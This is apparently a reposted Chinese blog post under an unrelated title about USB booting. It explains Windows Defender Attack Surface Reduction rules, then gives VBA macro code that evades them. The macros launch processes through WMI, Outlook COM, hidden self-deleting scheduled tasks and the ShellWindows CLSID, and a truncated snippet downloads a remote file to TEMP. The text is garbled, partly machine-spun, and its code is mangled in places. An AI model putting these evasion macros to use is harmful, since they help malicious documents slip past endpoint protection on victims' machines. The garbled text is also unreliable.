宏如何选择u盘启动不系统? (如何选择u盘启动宏基)

原创lengyi合天智汇

前言

在去年的off会议上的安全研究员sevagas做了宏绕过ASR我对这个问题很感兴趣,在这里记录我的学习过程。

什么是ASR

ASR是Attack surface reduction简称,内置和win1709版和server2016的版本中,微软的官方解释是:

“Attack surface reduction is a feature that helps prevent actions and apps that are typically used byexploit-seeking malware to infect machines.”

一般意思是通过配置攻击面来减少规则,它可以保护计算机免受恶意软件和代码的攻击。它主要可以保护以下几个方面:

Malicious Office documentRogue USB deviceDrive by downloadMalicious APK in store配置ASR

我们可以在运行中输入gpedit.msc打开组策略编辑器,然后在组战略管理编辑器中, 转到 ";计算机配置", 然后单击 ";管理模板",然后选择:

Windows 组件 > Windows Defender 防病毒 > Windows Defender 攻击防护 > 攻击面减少

你可以看到我们的ASR管理页面。

ASR有以下三种模式,规则,分别是:

未配置:禁用 ASR 规则阻止:启用 ASR 规则审查:评估 ASR 规则对组织的影响(如果已经启用)

对应数字0、1、2

我们可以用下面的powershell命令设置相应的规则:

Add-MpPreference -AttackSurfaceReductionOnlyExclusions "<fully qualified path or resource>"

界面操作也可以使用。ASR的规则使用GUID识别相关信息,GUID如下:



配置完的ASR在以下注册表中可以找到规则:

? Computer\\HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Group PolicyObjects\\{5B492C3C-4EAB-494D-B7DDF0FB0FD3A17D}Machine\\Software\\Policies\\Microsoft\\Windows Defender\\WindowsDefender Exploit Guard\\ASR\\Rules? HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Windows Defender ExploitGuard\\ASR\\Rules\\d1e49aac-8f56-4280-b9ba-993a6d77406c? \\HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Group PolicyObjects\\{9CC79454-DCDF-422D-A24C81990D96B449}Machine\\Software\\Policies\\Microsoft\\Windows Defender\\WindowsDefender Exploit Guard\\ASR\\Rules

配置后,将以下内容导入事件管理器xml文件:

<QueryList> <Query Id="0" Path="Microsoft-Windows-Windows Defender/Operational"> <Select Path="Microsoft-Windows-Windows Defender/Operational">*[System[(EventID=1121 or EventID=1122 or EventID=5007)]]</Select> <Select Path="Microsoft-Windows-Windows Defender/WHC">*[System[(EventID=1121 or EventID=1122 or EventID=5007)]]</Select> </Query></QueryList>

你可以在时间内看到我们ASR响应事件。

bypassASR基础绕过

先介绍以下内容ASR规则:

D4F940AB-401B-4EFC-AADC-AD5F3C50688A26190899-1602-49e8-8b27-eb1d0a1ce869 d1e49aac-8f56-4280-b9ba-993a6d77406c

以下宏代码为例:

Sub WscriptExec(targetPath As String) CreateObject("WScript.Shell").Run targetPath,0End Sub

当我们运行这个宏时,就会被ASR规则所拦截


拦截规则如下:

D4F940AB-401B-4EFC-AADC-AD5F3C50688A

因为我们调用了WScript.Shell但是,我们可以使用宏中不仅调用外部程序的方法wmi对象,代码如下:

Set objWMIService = GetObject("winmgmts:\\\\.\\root\\cimv2") Set objStartup = objWMIService.Get("Win32_ProcessStartup") Set objConfig = objStartup.SpawnInstance_ Set objProcess = GetObject("winmgmts:\\\\.\\root\\cimv2:Win32_Process") WmiExec = objProcess.Create(targetPath,Null,objConfig,intProcessID)

此时我们再次运行宏,我们的拦截规则已经成为d1e49aac-8f56-4280-b9ba-993a6d77406c 说明D4F940AB-401B-4EFC-AADC-AD5F3C50688A我们已经绕过了规则。



除此之外,没关系wmi,我们也可以使用它outlook调用对象,代码如下:

Set outlookApp = CreateObject("Outlook.Application")outlookApp.CreateObject("Wscript.shell").Run "calc.exe",0

此时我们再次运行宏,我们的拦截规则已成为2619089-1602-49e8-8b27-eb1d0a1ce869 说明d1e49aac-8f56-4280-b9ba-993a6d77406c规则已经绕过了。

那怎么全部绕过呢?我们还可以利用计划任务在宏中提供Schedule.Service对象,它允许我们创建计划任务,代码如下:

Set service = CreateObject("Schedule.Service")Dim ActionSet Action = taskDefinition.Actions.Create(ActionTypeExec)Action.Path = Split("cmd.exe"," ")(0)Action.HideAppWindow = TrueCall rootFolder.RegisterTaskDefinition("System Timer T",taskDefinition,6,,,3)Application.Wait Now TimeValue("0:00:01")Call rootFolder.DeleteTask("System Timer T",0)

执行宏ASR没有反应,此时我们绕过了上述三条规则。

我们上面调用com使用对象的方法CreateObject, ShellExecute等 除上述方法外,我们还可以使用com的CLSID进行操作。

我们上面调用com使用对象的方法CreateObject, ShellExecute等 除上述方法外,我们还可以使用com的CLSID进行操作。clsid是微软标识COM类对象全局唯一标识符。如果服务器或容器允许链接到其嵌入对象,则需要注册每个支持对象类CLSID。默认在HKEY_LOCAL_MACHINE \\ SOFTWARE \\ Classes \\ CLSID \\

所以在里面,也就是说,我们clsid这也是前提clsid它已经在系统中注册,因为clsid特性(可执行相应程序操作),所以我们可以用它bypassASR:Const ShellWindows = _ "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}" Set SW = GetObject("new:" & ShellWindows).Item() SW.Document.Application.ShellExecute "calc.exe", Null, "C:\\Windows\\System32", Null, 0



其他ASR绕过3B576869-A4EC-4529-8536-B80A7769E899

本规则是拦截宏在文件系统中保存和执行文件的规则。比如关键词比如关键词比如关键词saveas”

绕过也比较简单:ub Download(myurl As String , realPath As String)Dim downloadPath As StringdownloadPath = Environ("TEMP") & "\\\\" & "acqeolw.txt"Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")WinHttpReq.SendIf WinHttpReq.Status = 200 Then Set oStream = CreateObject("ADODB.Stream") oStream.SaveT oF





电脑知识